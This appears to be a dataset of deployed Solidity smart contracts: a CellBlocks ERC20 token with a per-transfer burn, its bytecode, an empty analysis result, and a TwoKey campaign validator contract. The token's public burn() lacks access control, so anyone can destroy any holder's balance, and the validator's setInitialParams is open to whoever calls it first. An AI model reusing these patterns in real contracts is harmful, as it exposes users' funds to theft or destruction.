* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
MIT License for burn() function and event
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function CellBlocksToken() public {
balances[msg.sender] = 3*(10**26); // Give the creator all initial tokens
totalSupply = 3*(10**26); // Update total supply
name = "CellBlocks"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "CLBK"; // Set the symbol for display purposes
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transfer will call halfPercent() and burn() to burn 0.5% of each transaction
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transferFrom will call halfPercent() and burn() to burn 0.5% of each transaction
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice returns uint representing 0.5% of _value
/// @param _value amount to calculate 0.5% of
/// @return uint representing 0.5% of _value
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
// caution, check safe-to-multiply here
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
/// @notice burns _value of tokens from address burner
/// @param burner The address to burn the tokens from
/// @param _value The amount of tokens to be burnt
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
} | 0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016357806318160ddd146101bd57806323b872dd146101e657806327e235e31461025f578063313ce567146102ac5780635c658165146102db57806370a08231146103475780638da5cb5b1461039457806395d89b41146103e95780639dc29fac14610477578063a9059cbb146104b9578063dd62ed3e14610513578063f2fde38b1461057f575b600080fd5b34156100e057600080fd5b6100e86105b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012857808201518184015260208101905061010d565b50505050905090810190601f1680156101555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016e57600080fd5b6101a3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610656565b604051808215151515815260200191505060405180910390f35b34156101c857600080fd5b6101d0610748565b6040518082815260200191505060405180910390f35b34156101f157600080fd5b610245600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061074e565b604051808215151515815260200191505060405180910390f35b341561026a57600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b2c565b6040518082815260200191505060405180910390f35b34156102b757600080fd5b6102bf610b44565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e657600080fd5b610331600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b57565b6040518082815260200191505060405180910390f35b341561035257600080fd5b61037e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b7c565b6040518082815260200191505060405180910390f35b341561039f57600080fd5b6103a7610bc5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b6103fc610beb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043c578082015181840152602081019050610421565b50505050905090810190601f1680156104695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048257600080fd5b6104b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c89565b005b34156104c457600080fd5b6104f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e37565b604051808215151515815260200191505060405180910390f35b341561051e57600080fd5b610569600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611057565b6040518082815260200191505060405180910390f35b341561058a57600080fd5b6105b6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110de565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561064e5780601f106106235761010080835404028352916020019161064e565b820191906000526020600020905b81548152906001019060200180831161063157829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000806000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156108215750838210155b151561082c57600080fd5b6a52b7d2dcc80cd2e400000060005411801561084c5750635b29ed9c4210155b156108735761085a84611236565b90506108668682610c89565b610870848261127b565b93505b6108bc600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485611294565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610948600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561127b565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821015610aba57610a39600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561127b565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b60026020528060005260406000206000915090505481565b600560009054906101000a900460ff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c815780601f10610c5657610100808354040283529160200191610c81565b820191906000526020600020905b815481529060010190602001808311610c6457829003601f168201915b505050505081565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610cd757600080fd5b6000811115610e3357610d29600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261127b565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d786000548261127b565b6000819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050565b60008082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610e8857600080fd5b6a52b7d2dcc80cd2e4000000600054118015610ea85750635b29ed9c4210155b15610ecf57610eb683611236565b9050610ec23382610c89565b610ecc838261127b565b92505b610f18600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461127b565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fa4600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611294565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561117657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008311156112705761124d8360056112b2565b905061125b816103e86112ed565b9150600082141561126b57600191505b611275565b600091505b50919050565b600082821115151561128957fe5b818303905092915050565b60008082840190508381101515156112a857fe5b8091505092915050565b60008060008414156112c757600091506112e6565b82840290508284828115156112d857fe5b041415156112e257fe5b8091505b5092915050565b60008082848115156112fb57fe5b04905080915050929150505600a165627a7a72305820f4482736ac4af605e0567044b002dc8068b8a6357bb6d5201917e83aa674101b0029 | {"success": true, "error": null, "results": {}} | 1,148 |
0xaae9c5f1731922e9e6347377abe3349854f0ca75 | pragma solidity ^0.4.13;
contract IGetImplementation {
function implementation()
public
view
returns (address);
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyCampaign {
function getNumberOfUsersToContractor(
address _user
)
public
view
returns (uint);
function getReceivedFrom(
address _receiver
)
public
view
returns (address);
function balanceOf(
address _owner
)
public
view
returns (uint256);
function getReferrerCut(
address me
)
public
view
returns (uint256);
function getReferrerPlasmaBalance(
address _influencer
)
public
view
returns (uint);
function updateReferrerPlasmaBalance(
address _influencer,
uint _balance
)
public;
function updateModeratorRewards(
uint moderatorTokens
)
public;
address public logicHandler;
address public conversionHandler;
}
contract ITwoKeyCampaignPublicAddresses {
address public twoKeySingletonesRegistry;
address public contractor; //contractor address
address public moderator; //moderator address
function publicLinkKeyOf(address me) public view returns (address);
}
contract ITwoKeyConversionHandler {
bool public isFiatConversionAutomaticallyApproved;
address public twoKeyPurchasesHandler;
function supportForCreateConversion(
address _converterAddress,
uint256 _conversionAmount,
uint256 _maxReferralRewardETHWei,
bool isConversionFiat,
bool _isAnonymous,
uint conversionAmountCampaignCurrency
)
public
returns (uint);
function executeConversion(
uint _conversionId
)
public;
function getConverterConversionIds(
address _converter
)
external
view
returns (uint[]);
function getConverterPurchasesStats(
address _converter
)
public
view
returns (uint,uint,uint);
function getStateForConverter(
address _converter
)
public
view
returns (bytes32);
function getMainCampaignContractAddress()
public
view
returns (address);
}
contract ITwoKeyDonationCampaign {
address public logicHandler;
function buyTokensForModeratorRewards(
uint moderatorFee
)
public;
function buyTokensAndDistributeReferrerRewards(
uint256 _maxReferralRewardETHWei,
address _converter,
uint _conversionId
)
public
returns (uint);
function updateReferrerPlasmaBalance(address _influencer, uint _balance) public;
function updateContractorProceeds(uint value) public;
function sendBackEthWhenConversionCancelledOrRejected(address _cancelledConverter, uint _conversionAmount) public;
}
contract ITwoKeyDonationCampaignFetchAddresses {
address public twoKeyDonationConversionHandler;
address public twoKeyDonationCampaign;
}
contract ITwoKeyEventSourceEvents {
// This 2 functions will be always in the interface since we need them very often
function ethereumOf(address me) public view returns (address);
function plasmaOf(address me) public view returns (address);
function created(
address _campaign,
address _owner,
address _moderator
)
external;
function rewarded(
address _campaign,
address _to,
uint256 _amount
)
external;
function acquisitionCampaignCreated(
address proxyLogicHandler,
address proxyConversionHandler,
address proxyAcquisitionCampaign,
address proxyPurchasesHandler,
address contractor
)
external;
function donationCampaignCreated(
address proxyDonationCampaign,
address proxyDonationConversionHandler,
address proxyDonationLogicHandler,
address contractor
)
external;
function priceUpdated(
bytes32 _currency,
uint newRate,
uint _timestamp,
address _updater
)
external;
function userRegistered(
string _name,
address _address,
string _fullName,
string _email,
string _username_walletName
)
external;
function cpcCampaignCreated(
address proxyCPC,
address contractor
)
external;
function emitHandleChangedEvent(
address _userPlasmaAddress,
string _newHandle
)
public;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyCampaignValidatorStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyCampaignValidator is Upgradeable, ITwoKeySingletonUtils {
/**
* Storage keys are stored on the top. Here they are in order to avoid any typos
*/
string constant _isCampaignValidated = "isCampaignValidated";
string constant _campaign2NonSingletonHash = "campaign2NonSingletonHash";
/**
* Keys for the addresses we're accessing
*/
string constant _twoKeyFactory = "TwoKeyFactory";
string constant _twoKeyEventSource = "TwoKeyEventSource";
bool initialized;
// Pointer to the PROXY storage contract
ITwoKeyCampaignValidatorStorage public PROXY_STORAGE_CONTRACT;
/**
* @notice Function to set initial parameters in this contract
* @param _twoKeySingletoneRegistry is the address of TwoKeySingletoneRegistry contract
* @param _proxyStorage is the address of proxy of storage contract
*/
function setInitialParams(
address _twoKeySingletoneRegistry,
address _proxyStorage
)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletoneRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyCampaignValidatorStorage(_proxyStorage);
initialized = true;
}
// Modifier which will make function throw if caller is not TwoKeyFactory proxy contract
modifier onlyTwoKeyFactory {
address twoKeyFactory = getAddressFromTwoKeySingletonRegistry(_twoKeyFactory);
require(msg.sender == twoKeyFactory);
_;
}
/**
* @notice Function which will make newly created campaign validated
* @param campaign is the address of the campaign
* @param nonSingletonHash is the non singleton hash at the moment of campaign creation
*/
function validateAcquisitionCampaign(
address campaign,
string nonSingletonHash
)
public
onlyTwoKeyFactory
{
address conversionHandler = ITwoKeyCampaign(campaign).conversionHandler();
address logicHandler = ITwoKeyCampaign(campaign).logicHandler();
address purchasesHandler = ITwoKeyConversionHandler(conversionHandler).twoKeyPurchasesHandler();
//Whitelist all campaign associated contracts
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, conversionHandler), true);
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, logicHandler), true);
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated, purchasesHandler), true);
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true);
PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash);
emitCreatedEvent(campaign);
}
/**
* @notice Function which will make newly created campaign validated
* @param campaign is the campaign address
* @dev Validates all the required stuff, if the campaign is not validated, it can't update our singletones
*/
function validateDonationCampaign(
address campaign,
address donationConversionHandler,
address donationLogicHandler,
string nonSingletonHash
)
public
onlyTwoKeyFactory
{
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true);
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,donationConversionHandler), true);
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,donationLogicHandler), true);
PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash);
emitCreatedEvent(campaign);
}
function validateCPCCampaign(
address campaign,
string nonSingletonHash
)
public
onlyTwoKeyFactory
{
PROXY_STORAGE_CONTRACT.setBool(keccak256(_isCampaignValidated,campaign), true);
PROXY_STORAGE_CONTRACT.setString(keccak256(_campaign2NonSingletonHash,campaign), nonSingletonHash);
//Emit event that is created with moderator contractor and campaign address
emitCreatedEvent(campaign);
}
/**
* @notice Function which will return either is or not one of the campaign contracts validated
* @param campaign is any contract deployed during any campaign creation through TwoKeyFactory
*/
function isCampaignValidated(address campaign) public view returns (bool) {
bytes32 hashKey = keccak256(_isCampaignValidated, campaign);
return PROXY_STORAGE_CONTRACT.getBool(hashKey);
}
/**
* @notice Function which is serving as getter for non-singleton hash at the time of campaign creation
* @param campaign is the address of strictly main campaign contract (TwoKeyAcquisitionCampaignERC20, TwoKeyDonationCampaign for now)
*/
function campaign2NonSingletonHash(address campaign) public view returns (string) {
return PROXY_STORAGE_CONTRACT.getString(keccak256(_campaign2NonSingletonHash, campaign));
}
/**
* @notice Function to emit event on TwoKeyEventSource contract
*/
function emitCreatedEvent(address campaign) internal {
address contractor = ITwoKeyCampaignPublicAddresses(campaign).contractor();
address moderator = ITwoKeyCampaignPublicAddresses(campaign).moderator();
//Get the event source address
address twoKeyEventSource = getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource);
// Emit event
ITwoKeyEventSourceEvents(twoKeyEventSource).created(campaign,contractor,moderator);
}
}
